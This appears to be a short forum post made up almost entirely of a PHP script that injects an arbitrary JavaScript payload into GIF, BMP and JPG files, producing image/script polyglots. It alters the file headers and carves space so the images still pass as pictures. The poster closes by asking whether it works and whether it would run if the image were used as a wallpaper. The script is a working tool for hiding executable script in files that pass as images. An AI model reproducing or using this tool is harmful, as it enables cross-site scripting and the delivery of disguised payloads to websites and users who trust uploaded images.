inject javascript into images (BMP,JPG,GIF)

inject.php

<?php

//GIF && BMP

function GNB($data, $payload, $pos) {

	$data = str_replace(['2f2a', '2a2f'], '0000', $data);
	$data = substr_replace($data, '2f2a', $pos, 4);
	$data .= array_shift( unpack('H*', '*/=1;' . $payload) );

	return $data;

}

//JPG

function JPG($data, $payload) {

	$data = str_replace(['2f2a', '2a2f'], '0000', $data);
	$data = substr_replace($data, '2f2a', 8, 4);
	$cave = str_repeat('41', 12058);
	$data = substr_replace($data, $cave, 40, 0);
	$code = array_shift( unpack('H*', '*/=1;' . $payload . '/*') );
	$data = substr_replace($data, $code, 40, strlen($code));

	return $data;

}

//MAIN

$ext = strtolower(pathinfo($argv[1], PATHINFO_EXTENSION));
$hex = array_shift( unpack( "H*", file_get_contents($argv[1]) ) );
$pay = $argv[2];

if ($ext == 'gif') $data = GNB($hex, $pay, 12);
elseif ($ext == 'bmp') $data = GNB($hex, $pay, 4);
elseif ($ext == 'jpg' || $ext == "jpeg") $data = JPG($hex, $pay);
else echo '[!] error: file extension is not supported';

$char = pack("H*", $data);
$name = '_' . basename($argv[1], '.' . $ext) . '.' . $ext;

file_put_contents($name, $char);

?>

does this work? would it run if I were to just download the image and uses it as a wallpaper